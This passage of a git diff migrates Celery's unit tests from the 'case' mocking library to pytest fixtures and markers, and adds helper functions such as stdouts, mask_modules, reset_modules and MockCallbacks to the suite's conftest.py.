+119,8 @@ def test_read_configuration_not_a_package(self, find_module): l.read_configuration(fail_silently=False) @patch('celery.loaders.base.find_module') - @mock.environ('CELERY_CONFIG_MODULE', 'celeryconfig.py') - def test_read_configuration_py_in_name(self, find_module): + @pytest.mark.patched_environ('CELERY_CONFIG_MODULE', 'celeryconfig.py') + def test_read_configuration_py_in_name(self, find_module, environ): find_module.side_effect = NotAPackage() l = default.Loader(app=self.app) with pytest.raises(NotAPackage): diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index fea6bf6976a..32440862bd2 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -6,8 +6,6 @@ from unittest.mock import Mock, patch import pytest -from case import mock -from case.utils import get_logger_handlers from celery import signals, uuid from celery.app.log import TaskFormatter @@ -15,6 +13,7 @@ get_task_logger, in_sighandler) from celery.utils.log import logger as base_logger from celery.utils.log import logger_isa, task_logger +from t.unit import conftest class test_TaskFormatter: @@ -165,12 +164,10 @@ def test_get_logger_root(self): logger = get_logger(base_logger.name) assert logger.parent is logging.root - @mock.restore_logging() - def test_setup_logging_subsystem_misc(self): + def test_setup_logging_subsystem_misc(self, restore_logging): self.app.log.setup_logging_subsystem(loglevel=None) - @mock.restore_logging() - def test_setup_logging_subsystem_misc2(self): + def test_setup_logging_subsystem_misc2(self, restore_logging): self.app.conf.worker_hijack_root_logger = True self.app.log.setup_logging_subsystem() @@ -183,18 +180,15 @@ def test_configure_logger(self): self.app.log._configure_logger(None, sys.stderr, None, '', False) logger.handlers[:] = [] - @mock.restore_logging() - def test_setup_logging_subsystem_colorize(self): + def test_setup_logging_subsystem_colorize(self, restore_logging): self.app.log.setup_logging_subsystem(colorize=None) self.app.log.setup_logging_subsystem(colorize=True) - @mock.restore_logging() - def test_setup_logging_subsystem_no_mputil(self): - with mock.mask_modules('billiard.util'): - self.app.log.setup_logging_subsystem() + @pytest.mark.masked_modules('billiard.util') + def test_setup_logging_subsystem_no_mputil(self, restore_logging, mask_modules): + self.app.log.setup_logging_subsystem() - @mock.restore_logging() - def test_setup_logger(self): + def test_setup_logger(self, restore_logging): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False, colorize=True) logger.handlers = [] @@ -202,16 +196,14 @@ def test_setup_logger(self): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False, colorize=None) # setup_logger logs to stderr without logfile argument. - assert (get_logger_handlers(logger)[0].stream is + assert (conftest.get_logger_handlers(logger)[0].stream is sys.__stderr__) - @mock.restore_logging() - def test_setup_logger_no_handlers_stream(self): + def test_setup_logger_no_handlers_stream(self, restore_logging): l = self.get_logger() l.handlers = [] - with mock.stdouts() as outs: - stdout, stderr = outs + with conftest.stdouts() as (stdout, stderr): l = self.setup_logger(logfile=sys.stderr, loglevel=logging.INFO, root=False) l.info('The quick brown fox...') @@ -221,7 +213,7 @@ def test_setup_logger_no_handlers_stream(self): def test_setup_logger_no_handlers_file(self, *args): tempfile = mktemp(suffix='unittest', prefix='celery') with patch('builtins.open') as osopen: - with mock.restore_logging(): + with conftest.restore_logging_context_manager(): files = defaultdict(StringIO) def open_file(filename, *args, **kwargs): @@ -236,16 +228,15 @@ def open_file(filename, *args, **kwargs): l = self.setup_logger( logfile=tempfile, loglevel=logging.INFO, root=False, ) - assert isinstance(get_logger_handlers(l)[0], + assert isinstance(conftest.get_logger_handlers(l)[0], logging.FileHandler) assert tempfile in files - @mock.restore_logging() - def test_redirect_stdouts(self): + def test_redirect_stdouts(self, restore_logging): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False) try: - with mock.wrap_logger(logger) as sio: + with conftest.wrap_logger(logger) as sio: self.app.log.redirect_stdouts_to_logger( logger, loglevel=logging.ERROR, ) @@ -257,12 +248,11 @@ def test_redirect_stdouts(self): finally: sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__ - @mock.restore_logging() - def test_logging_proxy(self): + def test_logging_proxy(self, restore_logging): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False) - with mock.wrap_logger(logger) as sio: + with conftest.wrap_logger(logger) as sio: p = LoggingProxy(logger, loglevel=logging.ERROR) p.close() p.write('foo') @@ -281,17 +271,16 @@ def test_logging_proxy(self): p.close() assert not p.isatty() - with mock.stdouts() as (stdout, stderr): + with conftest.stdouts() as (stdout, stderr): with in_sighandler(): p.write('foo') assert stderr.getvalue() - @mock.restore_logging() - def test_logging_proxy_bytes(self): + def test_logging_proxy_bytes(self, restore_logging): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False) - with mock.wrap_logger(logger) as sio: + with conftest.wrap_logger(logger) as sio: p = LoggingProxy(logger, loglevel=logging.ERROR) p.close() p.write(b'foo') @@ -306,13 +295,12 @@ def test_logging_proxy_bytes(self): p.close() assert not p.isatty() - with mock.stdouts() as (stdout, stderr): + with conftest.stdouts() as (stdout, stderr): with in_sighandler(): p.write(b'foo') assert stderr.getvalue() - @mock.restore_logging() - def test_logging_proxy_recurse_protection(self): + def test_logging_proxy_recurse_protection(self, restore_logging): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, root=False) p = LoggingProxy(logger, loglevel=logging.ERROR) diff --git a/t/unit/app/test_schedules.py b/t/unit/app/test_schedules.py index 881791a10ed..a8bed808a30 100644 --- a/t/unit/app/test_schedules.py +++ b/t/unit/app/test_schedules.py @@ -2,16 +2,16 @@ from contextlib import contextmanager from datetime import datetime, timedelta from pickle import dumps, loads +from unittest import TestCase from unittest.mock import Mock import pytest import pytz -from case import Case from celery.schedules import (ParseException, crontab, crontab_parser, schedule, solar) -assertions = Case('__init__') +assertions = TestCase('__init__') @contextmanager diff --git a/t/unit/backends/test_cache.py b/t/unit/backends/test_cache.py index 9e1ac5d29e4..40ae4277331 100644 --- a/t/unit/backends/test_cache.py +++ b/t/unit/backends/test_cache.py @@ -4,12 +4,12 @@ from unittest.mock import Mock, patch import pytest -from case import mock from kombu.utils.encoding import ensure_bytes, str_to_bytes from celery import signature, states, uuid from celery.backends.cache import CacheBackend, DummyClient, backends from celery.exceptions import ImproperlyConfigured +from t.unit import conftest class SomeClass: @@ -148,7 +148,7 @@ def test_regression_worker_startup_info(self): 'cache+memcached://127.0.0.1:11211;127.0.0.2:11211;127.0.0.3/' ) worker = self.app.Worker() - with mock.stdouts(): + with conftest.stdouts(): worker.on_start() assert worker.startup_info() @@ -201,31 +201,31 @@ class test_get_best_memcache(MockCacheMixin): def test_pylibmc(self): with self.mock_pylibmc(): - with mock.reset_modules('celery.backends.cache'): + with conftest.reset_modules('celery.backends.cache'): from celery.backends import cache cache._imp = [None] assert cache.get_best_memcache()[0].__module__ == 'pylibmc' - def test_memcache(self): + @pytest.mark.masked_modules('pylibmc') + def test_memcache(self, mask_modules): with self.mock_memcache(): - with mock.reset_modules('celery.backends.cache'): - with mock.mask_modules('pylibmc'): - from celery.backends import cache - cache._imp = [None] - assert (cache.get_best_memcache()[0]().__module__ == - 'memcache') - - def test_no_implementations(self): - with mock.mask_modules('pylibmc', 'memcache'): - with mock.reset_modules('celery.backends.cache'): + with conftest.reset_modules('celery.backends.cache'): from celery.backends import cache cache._imp = [None] - with pytest.raises(ImproperlyConfigured): - cache.get_best_memcache() + assert (cache.get_best_memcache()[0]().__module__ == + 'memcache') + + @pytest.mark.masked_modules('pylibmc', 'memcache') + def test_no_implementations(self, mask_modules): + with conftest.reset_modules('celery.backends.cache'): + from celery.backends import cache + cache._imp = [None] + with pytest.raises(ImproperlyConfigured): + cache.get_best_memcache() def test_cached(self): with self.mock_pylibmc(): - with mock.reset_modules('celery.backends.cache'): + with conftest.reset_modules('celery.backends.cache'): from celery.backends import cache cache._imp = [None] cache.get_best_memcache()[0](behaviors={'foo': 'bar'}) @@ -241,30 +241,30 @@ def test_backends(self): class test_memcache_key(MockCacheMixin): - def test_memcache_unicode_key(self): + @pytest.mark.masked_modules('pylibmc') + def test_memcache_unicode_key(self, mask_modules): with self.mock_memcache(): - with mock.reset_modules('celery.backends.cache'): - with mock.mask_modules('pylibmc'): - from celery.backends import cache - cache._imp = [None] - task_id, result = str(uuid()), 42 - b = cache.CacheBackend(backend='memcache', app=self.app) - b.store_result(task_id, result, state=states.SUCCESS) - assert b.get_result(task_id) == result - - def test_memcache_bytes_key(self): + with conftest.reset_modules('celery.backends.cache'): + from celery.backends import cache + cache._imp = [None] + task_id, result = str(uuid()), 42 + b = cache.CacheBackend(backend='memcache', app=self.app) + b.store_result(task_id, result, state=states.SUCCESS) + assert b.get_result(task_id) == result + + @pytest.mark.masked_modules('pylibmc') + def test_memcache_bytes_key(self, mask_modules): with self.mock_memcache(): - with mock.reset_modules('celery.backends.cache'): - with mock.mask_modules('pylibmc'): - from celery.backends import cache - cache._imp = [None] - task_id, result = str_to_bytes(uuid()), 42 - b = cache.CacheBackend(backend='memcache', app=self.app) - b.store_result(task_id, result, state=states.SUCCESS) - assert b.get_result(task_id) == result + with conftest.reset_modules('celery.backends.cache'): + from celery.backends import cache + cache._imp = [None] + task_id, result = str_to_bytes(uuid()), 42 + b = cache.CacheBackend(backend='memcache', app=self.app) + b.store_result(task_id, result, state=states.SUCCESS) + assert b.get_result(task_id) == result def test_pylibmc_unicode_key(self): - with mock.reset_modules('celery.backends.cache'): + with conftest.reset_modules('celery.backends.cache'): with self.mock_pylibmc(): from celery.backends import cache cache._imp = [None] @@ -274,7 +274,7 @@ def test_pylibmc_unicode_key(self): assert b.get_result(task_id) == result def test_pylibmc_bytes_key(self): - with mock.reset_modules('celery.backends.cache'): + with conftest.reset_modules('celery.backends.cache'): with self.mock_pylibmc(): from celery.backends import cache cache._imp = [None] diff --git a/t/unit/backends/test_cassandra.py b/t/unit/backends/test_cassandra.py index 3e648bff0ed..5df53a1e576 100644 --- a/t/unit/backends/test_cassandra.py +++ b/t/unit/backends/test_cassandra.py @@ -3,7 +3,6 @@ from unittest.mock import Mock import pytest -from case import mock from celery import states from celery.exceptions import ImproperlyConfigured @@ -17,7 +16,6 @@ ] -@mock.module(*CASSANDRA_MODULES) class test_CassandraBackend: def setup(self): @@ -27,7 +25,8 @@ def setup(self): cassandra_table='task_results', ) - def test_init_no_cassandra(self, *modules): + @pytest.mark.patched_module(*CASSANDRA_MODULES) + def test_init_no_cassandra(self, module): # should raise ImproperlyConfigured when no python-driver # installed. from celery.backends import cassandra as mod @@ -38,7 +37,8 @@ def test_init_no_cassandra(self, *modules): finally: mod.cassandra = prev - def test_init_with_and_without_LOCAL_QUROM(self, *modules): + @pytest.mark.patched_module(*CASSANDRA_MODULES) + def test_init_with_and_without_LOCAL_QUROM(self, module): from celery.backends import cassandra as mod mod.cassandra = Mock() @@ -60,12 +60,14 @@ def test_init_with_and_without_LOCAL_QUROM(self, *modules): app=self.app, keyspace='b', column_family='c', ) + @pytest.mark.patched_module(*CASSANDRA_MODULES) @pytest.mark.usefixtures('depends_on_current_app') - def test_reduce(self, *modules): + def test_reduce(self, module): from celery.backends.cassandra import CassandraBackend assert loads(dumps(CassandraBackend(app=self.app))) - def test_get_task_meta_for(self, *modules): + @pytest.mark.patched_module(*CASSANDRA_MODULES) + def test_get_task_meta_for(self, module): from celery.backends import cassandra as mod mod.cassandra = Mock() @@ -95,7 +97,8 @@ def test_as_uri(self): x.as_uri() x.as_uri(include_password=False) - def test_store_result(self, *modules): + @pytest.mark.patched_module(*CASSANDRA_MODULES) + def test_store_result(self, module): from celery.backends import cassandra as mod mod.cassandra = Mock() diff --git a/t/unit/backends/test_mongodb.py b/t/unit/backends/test_mongodb.py index ee4d0517365..b56e928b026 100644 --- a/t/unit/backends/test_mongodb.py +++ b/t/unit/backends/test_mongodb.py @@ -4,7 +4,6 @@ import pytest import pytz -from case import mock from kombu.exceptions import EncodeError try: @@ -15,6 +14,7 @@ from celery import states, uuid from celery.backends.mongodb import Binary, InvalidDocument, MongoBackend from celery.exceptions import ImproperlyConfigured +from t.unit import conftest COLLECTION = 'taskmeta_celery' TASK_ID = uuid() @@ -529,7 +529,7 @@ def test_regression_worker_startup_info(self): '/work4us?replicaSet=rs&ssl=true' ) worker = self.app.Worker() - with mock.stdouts(): + with conftest.stdouts(): worker.on_start() assert worker.startup_info() diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 13dcf2eee9a..f99fbc37a55 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -8,14 +8,15 @@ from unittest.mock import ANY, Mock, call, patch import pytest -from case import ContextMock, mock from celery import signature, states, uuid from celery.canvas import Signature +from celery.contrib.testing.mocks import ContextMock from celery.exceptions import (BackendStoreError, ChordError, ImproperlyConfigured) from celery.result import AsyncResult, GroupResult from celery.utils.collections import AttributeDict +from t.unit import conftest def raise_on_second_call(mock, exc, *retval): @@ -61,7 +62,7 @@ def execute(self): return [step(*a, **kw) for step, a, kw in self.steps] -class PubSub(mock.MockCallbacks): +class PubSub(conftest.MockCallbacks): def __init__(self, ignore_subscribe_messages=False): self._subscribed_to = set() @@ -78,7 +79,7 @@ def get_message(self, timeout=None): pass -class Redis(mock.MockCallbacks): +class Redis(conftest.MockCallbacks): Connection = Connection Pipeline = Pipeline pubsub = PubSub @@ -158,7 +159,7 @@ def zcount(self, key, min_, max_): return len(self.zrangebyscore(key, min_, max_)) -class Sentinel(mock.MockCallbacks): +class Sentinel(conftest.MockCallbacks): def __init__(self, sentinels, min_other_sentinels=0, sentinel_kwargs=None, **connection_kwargs): self.sentinel_kwargs = sentinel_kwargs diff --git a/t/unit/concurrency/test_prefork.py b/t/unit/concurrency/test_prefork.py index 713b63d7baf..2e2a47353b7 100644 --- a/t/unit/concurrency/test_prefork.py +++ b/t/unit/concurrency/test_prefork.py @@ -5,7 +5,6 @@ from unittest.mock import Mock, patch import pytest -from case import mock import t.skip from celery.app.defaults import DEFAULTS @@ -64,55 +63,53 @@ def Loader(*args, **kwargs): return loader @patch('celery.platforms.signals') - def test_process_initializer(self, _signals, set_mp_process_title): - with mock.restore_logging(): - from celery import signals - from celery._state import _tls - from celery.concurrency.prefork import (WORKER_SIGIGNORE, - WORKER_SIGRESET, - process_initializer) - on_worker_process_init = Mock() - signals.worker_process_init.connect(on_worker_process_init) - - with self.Celery(loader=self.Loader) as app: - app.conf = AttributeDict(DEFAULTS) - process_initializer(app, 'awesome.worker.com') - _signals.ignore.assert_any_call(*WORKER_SIGIGNORE) - _signals.reset.assert_any_call(*WORKER_SIGRESET) - assert app.loader.init_worker.call_count - on_worker_process_init.assert_called() - assert _tls.current_app is app - set_mp_process_title.assert_called_with( - 'celeryd', hostname='awesome.worker.com', - ) - - with patch('celery.app.trace.setup_worker_optimizations') as S: - os.environ['FORKED_BY_MULTIPROCESSING'] = '1' - try: - process_initializer(app, 'luke.worker.com') - S.assert_called_with(app, 'luke.worker.com') - finally: - os.environ.pop('FORKED_BY_MULTIPROCESSING', None) + def test_process_initializer(self, _signals, set_mp_process_title, restore_logging): + from celery import signals + from celery._state import _tls + from celery.concurrency.prefork import (WORKER_SIGIGNORE, + WORKER_SIGRESET, + process_initializer) + on_worker_process_init = Mock() + signals.worker_process_init.connect(on_worker_process_init) + + with self.Celery(loader=self.Loader) as app: + app.conf = AttributeDict(DEFAULTS) + process_initializer(app, 'awesome.worker.com') + _signals.ignore.assert_any_call(*WORKER_SIGIGNORE) + _signals.reset.assert_any_call(*WORKER_SIGRESET) + assert app.loader.init_worker.call_count + on_worker_process_init.assert_called() + assert _tls.current_app is app + set_mp_process_title.assert_called_with( + 'celeryd', hostname='awesome.worker.com', + ) - os.environ['CELERY_LOG_FILE'] = 'worker%I.log' - app.log.setup = Mock(name='log_setup') + with patch('celery.app.trace.setup_worker_optimizations') as S: + os.environ['FORKED_BY_MULTIPROCESSING'] = '1' try: process_initializer(app, 'luke.worker.com') + S.assert_called_with(app, 'luke.worker.com') finally: - os.environ.pop('CELERY_LOG_FILE', None) + os.environ.pop('FORKED_BY_MULTIPROCESSING', None) + + os.environ['CELERY_LOG_FILE'] = 'worker%I.log' + app.log.setup = Mock(name='log_setup') + try: + process_initializer(app, 'luke.worker.com') + finally: + os.environ.pop('CELERY_LOG_FILE', None) @patch('celery.platforms.set_pdeathsig') - def test_pdeath_sig(self, _set_pdeathsig, set_mp_process_title): - with mock.restore_logging(): - from celery import signals - on_worker_process_init = Mock() - signals.worker_process_init.connect(on_worker_process_init) - from celery.concurrency.prefork import process_initializer - - with self.Celery(loader=self.Loader) as app: - app.conf = AttributeDict(DEFAULTS) - process_initializer(app, 'awesome.worker.com') - _set_pdeathsig.assert_called_once_with('SIGKILL') + def test_pdeath_sig(self, _set_pdeathsig, set_mp_process_title, restore_logging): + from celery import signals + on_worker_process_init = Mock() + signals.worker_process_init.connect(on_worker_process_init) + from celery.concurrency.prefork import process_initializer + + with self.Celery(loader=self.Loader) as app: + app.conf = AttributeDict(DEFAULTS) + process_initializer(app, 'awesome.worker.com') + _set_pdeathsig.assert_called_once_with('SIGKILL') class test_process_destructor: diff --git a/t/unit/conftest.py b/t/unit/conftest.py index 90dc50682d5..458e9a2ebf0 100644 --- a/t/unit/conftest.py +++ b/t/unit/conftest.py @@ -1,13 +1,19 @@ +import builtins +import inspect +import io import logging import os +import platform import sys import threading +import types import warnings -from importlib import import_module -from unittest.mock import Mock +from contextlib import contextmanager +from functools import wraps +from importlib import import_module, reload +from unittest.mock import MagicMock, Mock, patch import pytest -from case.utils import decorator from kombu import Queue from celery.backends.cache import CacheBackend, DummyClient @@ -39,6 +45,24 @@ class WindowsError(Exception): CASE_LOG_LEVEL_EFFECT = 'Test {0} modified the level of the root logger' CASE_LOG_HANDLER_EFFECT = 'Test {0} modified handlers for the root logger' +_SIO_write = io.StringIO.write +_SIO_init = io.StringIO.__init__ + +SENTINEL = object() + + +def noop(*args, **kwargs): + pass + + +class WhateverIO(io.StringIO): + + def __init__(self, v=None, *a, **kw): + _SIO_init(self, v.decode() if isinstance(v, bytes) else v, *a, **kw) + + def write(self, data): + _SIO_write(self, data.decode() if isinstance(data, bytes) else data) + @pytest.fixture(scope='session') def celery_config(): @@ -88,7 +112,7 @@ def reset_cache_backend_state(celery_app): backend._cache.clear() -@decorator +@contextmanager def assert_signal_called(signal, **expected): """Context that verifes signal is called before exiting.""" handler = Mock() @@ -113,7 +137,6 @@ def app(celery_app): def AAA_disable_multiprocessing(): # pytest-cov breaks if a multiprocessing.Process is started, # so disable them completely to make sure it doesn't happen. - from unittest.mock import patch stuff = [ 'multiprocessing.Process', 'billiard.Process', @@ -326,3 +349,447 @@ def import_all_modules(name=__name__, file=__file__, 'Ignored error importing module {}: {!r}'.format( module, exc, ))) + + +@pytest.fixture +def sleepdeprived(request): + """Mock sleep method in patched module to do nothing. + + Example: + >>> import time + >>> @pytest.mark.sleepdeprived_patched_module(time) + >>> def test_foo(self, sleepdeprived): + >>> pass + """ + module = request.node.get_closest_marker( + "sleepdeprived_patched_module").args[0] + old_sleep, module.sleep = module.sleep, noop + try: + yield + finally: + module.sleep = old_sleep + + +# Taken from +# http://bitbucket.org/runeh/snippets/src/tip/missing_modules.py +@pytest.fixture +def mask_modules(request): + """Ban some modules from being importable inside the context + For example:: + >>> @pytest.mark.masked_modules('gevent.monkey') + >>> def test_foo(self, mask_modules): + ... try: + ... import sys + ... except ImportError: + ... print('sys not found') + sys not found + """ + realimport = builtins.__import__ + modnames = request.node.get_closest_marker("masked_modules").args + + def myimp(name, *args, **kwargs): + if name in modnames: + raise ImportError('No module named %s' % name) + else: + return realimport(name, *args, **kwargs) + + builtins.__import__ = myimp + try: + yield + finally: + builtins.__import__ = realimport + + +@pytest.fixture +def environ(request): + """Mock environment variable value. + Example:: + >>> @pytest.mark.patched_environ('DJANGO_SETTINGS_MODULE', 'proj.settings') + >>> def test_other_settings(self, environ): + ... ... + """ + env_name, env_value = request.node.get_closest_marker("patched_environ").args + prev_val = os.environ.get(env_name, SENTINEL) + os.environ[env_name] = env_value + try: + yield + finally: + if prev_val is SENTINEL: + os.environ.pop(env_name, None) + else: + os.environ[env_name] = prev_val + + +def replace_module_value(module, name, value=None): + """Mock module value, given a module, attribute name and value. + + Example:: + + >>> replace_module_value(module, 'CONSTANT', 3.03) + """ + has_prev = hasattr(module, name) + prev = getattr(module, name, None) + if value: + setattr(module, name, value) + else: + try: + delattr(module, name) + except AttributeError: + pass + try: + yield + finally: + if prev is not None: + setattr(module, name, prev) + if not has_prev: + try: + delattr(module, name) + except AttributeError: + pass + + +@contextmanager +def platform_pyimp(value=None): + """Mock :data:`platform.python_implementation` + Example:: + >>> with platform_pyimp('PyPy'): + ... ... + """ + yield from replace_module_value(platform, 'python_implementation', value) + + +@contextmanager +def sys_platform(value=None): + """Mock :data:`sys.platform` + + Example:: + >>> mock.sys_platform('darwin'): + ... ... + """ + prev, sys.platform = sys.platform, value + try: + yield + finally: + sys.platform = prev + + +@contextmanager +def pypy_version(value=None): + """Mock :data:`sys.pypy_version_info` + + Example:: + >>> with pypy_version((3, 6, 1)): + ... ... + """ + yield from replace_module_value(sys, 'pypy_version_info', value) + + +def _restore_logging(): + outs = sys.stdout, sys.stderr, sys.__stdout__, sys.__stderr__ + root = logging.getLogger() + level = root.level + handlers = root.handlers + + try: + yield + finally: + sys.stdout, sys.stderr, sys.__stdout__, sys.__stderr__ = outs + root.level = level + root.handlers[:] = handlers + + +@contextmanager +def restore_logging_context_manager(): + """Restore root logger handlers after test returns. + Example:: + >>> with restore_logging_context_manager(): + ... setup_logging() + """ + yield from _restore_logging() + + +@pytest.fixture +def restore_logging(request): + """Restore root logger handlers after test returns. + Example:: + >>> def test_foo(self, restore_logging): + ... setup_logging() + """ + yield from _restore_logging() + + +@pytest.fixture +def module(request): + """Mock one or modules such that every attribute is a :class:`Mock`.""" + yield from _module(*request.node.get_closest_marker("patched_module").args) + + +@contextmanager +def module_context_manager(*names): + """Mock one or modules such that every attribute is a :class:`Mock`.""" + yield from _module(*names) + + +def _module(*names): + prev = {} + + class MockModule(types.ModuleType): + + def __getattr__(self, attr): + setattr(self, attr, Mock()) + return types.ModuleType.__getattribute__(self, attr) + + mods = [] + for name in names: + try: + prev[name] = sys.modules[name] + except KeyError: + pass + mod = sys.modules[name] = MockModule(name) + mods.append(mod) + try: + yield mods + finally: + for name in names: + try: + sys.modules[name] = prev[name] + except KeyError: + try: + del(sys.modules[name]) + except KeyError: + pass + + +class _patching: + + def __init__(self, monkeypatch, request): + self.monkeypatch = monkeypatch + self.request = request + + def __getattr__(self, name): + return getattr(self.monkeypatch, name) + + def __call__(self, path, value=SENTINEL, name=None, + new=MagicMock, **kwargs): + value = self._value_or_mock(value, new, name, path, **kwargs) + self.monkeypatch.setattr(path, value) + return value + + def object(self, target, attribute, *args, **kwargs): + return _wrap_context( + patch.object(target, attribute, *args, **kwargs), + self.request) + + def _value_or_mock(self, value, new, name, path, **kwargs): + if value is SENTINEL: + value = new(name=name or path.rpartition('.')[2]) + for k, v in kwargs.items(): + setattr(value, k, v) + return value + + def setattr(self, target, name=SENTINEL, value=SENTINEL, **kwargs): + # alias to __call__ with the interface of pytest.monkeypatch.setattr + if value is SENTINEL: + value, name = name, None + return self(target, value, name=name) + + def setitem(self, dic, name, value=SENTINEL, new=MagicMock, **kwargs): + # same as pytest.monkeypatch.setattr but default value is MagicMock + value = self._value_or_mock(value, new, name, dic, **kwargs) + self.monkeypatch.setitem(dic, name, value) + return value + + def modules(self, *mods): + modules = [] + for mod in mods: + mod = mod.split('.') + modules.extend(reversed([ + '.'.join(mod[:-i] if i else mod) for i in range(len(mod)) + ])) + modules = sorted(set(modules)) + return _wrap_context(module_context_manager(*modules), self.request) + + +def _wrap_context(context, request): + ret = context.__enter__() + + def fin(): + context.__exit__(*sys.exc_info()) + request.addfinalizer(fin) + return ret + + +@pytest.fixture() +def patching(monkeypatch, request): + """Monkeypath.setattr shortcut. + Example: + .. code-block:: python + >>> def test_foo(patching): + >>> # execv value here will be mock.MagicMock by default. + >>> execv = patching('os.execv') + >>> patching('sys.platform', 'darwin') # set concrete value + >>> patching.setenv('DJANGO_SETTINGS_MODULE', 'x.settings') + >>> # val will be of type mock.MagicMock by default + >>> val = patching.setitem('path.to.dict', 'KEY') + """ + return _patching(monkeypatch, request) + + +@contextmanager +def stdouts(): + """Override `sys.stdout` and `sys.stderr` with `StringIO` + instances. + >>> with conftest.stdouts() as (stdout, stderr): + ... something() + ... self.assertIn('foo', stdout.getvalue()) + """ + prev_out, prev_err = sys.stdout, sys.stderr + prev_rout, prev_rerr = sys.__stdout__, sys.__stderr__ + mystdout, mystderr = WhateverIO(), WhateverIO() + sys.stdout = sys.__stdout__ = mystdout + sys.stderr = sys.__stderr__ = mystderr + + try: + yield mystdout, mystderr + finally: + sys.stdout = prev_out + sys.stderr = prev_err + sys.__stdout__ = prev_rout + sys.__stderr__ = prev_rerr + + +@contextmanager +def reset_modules(*modules): + """Remove modules from :data:`sys.modules` by name, + and reset back again when the test/context returns. + Example:: + >>> with conftest.reset_modules('celery.result', 'celery.app.base'): + ... pass + """ + prev = { + k: sys.modules.pop(k) for k in modules if k in sys.modules + } + + try: + for k in modules: + reload(import_module(k)) + yield + finally: + sys.modules.update(prev) + + +def get_logger_handlers(logger): + return [ + h for h in logger.handlers + if not isinstance(h, logging.NullHandler) + ] + + +@contextmanager +def wrap_logger(logger, loglevel=logging.ERROR): + """Wrap :class:`logging.Logger` with a StringIO() handler. + yields a StringIO handle. + Example:: + >>> with conftest.wrap_logger(logger, loglevel=logging.DEBUG) as sio: + ... ... + ... sio.getvalue() + """ + old_handlers = get_logger_handlers(logger) + sio = WhateverIO() + siohandler = logging.StreamHandler(sio) + logger.handlers = [siohandler] + + try: + yield sio + finally: + logger.handlers = old_handlers + + +@contextmanager +def _mock_context(mock): + context = mock.return_value = Mock() + context.__enter__ = Mock() + context.__exit__ = Mock() + + def on_exit(*x): + if x[0]: + raise x[0] from x[1] + context.__exit__.side_effect = on_exit + context.__enter__.return_value = context + try: + yield context + finally: + context.reset() + + +@contextmanager +def open(side_effect=None): + """Patch builtins.open so that it returns StringIO object. + :param side_effect: Additional side effect for when the open context + is entered. + Example:: + >>> with mock.open(io.BytesIO) as open_fh: + ... something_opening_and_writing_bytes_to_a_file() + ... self.assertIn(b'foo', open_fh.getvalue()) + """ + with patch('builtins.open') as open_: + with _mock_context(open_) as context: + if side_effect is not None: + context.__enter__.side_effect = side_effect + val = context.__enter__.return_value = WhateverIO() + val.__exit__ = Mock() + yield val + + +@contextmanager +def module_exists(*modules): + """Patch one or more modules to ensure they exist. + A module name with multiple paths (e.g. gevent.monkey) will + ensure all parent modules are also patched (``gevent`` + + ``gevent.monkey``). + Example:: + >>> with conftest.module_exists('gevent.monkey'): + ... gevent.monkey.patch_all = Mock(name='patch_all') + ... ... + """ + gen = [] + old_modules = [] + for module in modules: + if isinstance(module, str): + module = types.ModuleType(module) + gen.append(module) + if module.__name__ in sys.modules: + old_modules.append(sys.modules[module.__name__]) + sys.modules[module.__name__] = module + name = module.__name__ + if '.' in name: + parent, _, attr = name.rpartition('.') + setattr(sys.modules[parent], attr, module) + try: + yield + finally: + for module in gen: + sys.modules.pop(module.__name__, None) + for module in old_modules: + sys.modules[module.__name__] = module + + +def _bind(f, o): + @wraps(f) + def bound_meth(*fargs, **fkwargs): + return f(o, *fargs, **fkwargs) + return bound_meth + + +class MockCallbacks: + + def __new__(cls, *args, **kwargs): + r = Mock(name=cls.__name__) + cls.__init__(r, *args, **kwargs) + for key, value in vars(cls).items(): + if key not in ('__dict__', '__weakref__', '__new__', '__init__'): + if inspect.ismethod(value) or inspect.isfunction(value): + r.__getattr__(key).side_effect = _bind(value, r) + else: + r.__setattr__(key, value) + return r diff --git a/t/unit/contrib/test_migrate.py b/t/unit/contrib/test_migrate.py index e36e2f32751..2e395057462 100644 --- a/t/unit/contrib/test_migrate.py +++ b/t/unit/contrib/test_migrate.py @@ -3,7 +3,6 @@ import pytest from amqp import ChannelError -from case import mock from kombu import Connection, Exchange, Producer, Queue from kombu.transport.virtual import QoS from kombu.utils.encoding import ensure_bytes @@ -14,6 +13,7 @@ migrate_tasks, move, move_by_idmap, move_by_taskmap, move_task_by_id, start_filter, task_id_eq, task_id_in) +from t.unit import conftest # hack to ignore error at shutdown QoS.restore_at_shutdown = False @@ -203,7 +203,7 @@ def test_maybe_queue(): def test_filter_status(): - with mock.stdouts() as (stdout, stderr): + with conftest.stdouts() as (stdout, stderr): filter_status(State(), {'id': '1', 'task': 'add'}, Mock()) assert stdout.getvalue() diff --git a/t/unit/events/test_snapshot.py b/t/unit/events/test_snapshot.py index 95b56aca3b5..3dfb01846e9 100644 --- a/t/unit/events/test_snapshot.py +++ b/t/unit/events/test_snapshot.py @@ -1,7 +1,6 @@ from unittest.mock import Mock, patch import pytest -from case import mock from celery.app.events import Events from celery.events.snapshot import Polaroid, evcam @@ -106,8 +105,7 @@ def setup(self): self.app.events = self.MockEvents() self.app.events.app = self.app - @mock.restore_logging() - def test_evcam(self): + def test_evcam(self, restore_logging): evcam(Polaroid, timer=timer, app=self.app) evcam(Polaroid, timer=timer, loglevel='CRITICAL', app=self.app) self.MockReceiver.raise_keyboard_interrupt = True diff --git a/t/unit/fixups/test_django.py b/t/unit/fixups/test_django.py index e352b8a7b2f..44938b1a04f 100644 --- a/t/unit/fixups/test_django.py +++ b/t/unit/fixups/test_django.py @@ -2,10 +2,10 @@ from unittest.mock import Mock, patch import pytest -from case import mock from celery.fixups.django import (DjangoFixup, DjangoWorkerFixup, FixupWarning, _maybe_close_fd, fixup) +from t.unit import conftest class FixupCase: @@ -54,6 +54,18 @@ def test_autodiscover_tasks(self, patching): apps.get_app_configs.return_value = configs assert f.autodiscover_tasks() == [c.name for c in configs] + 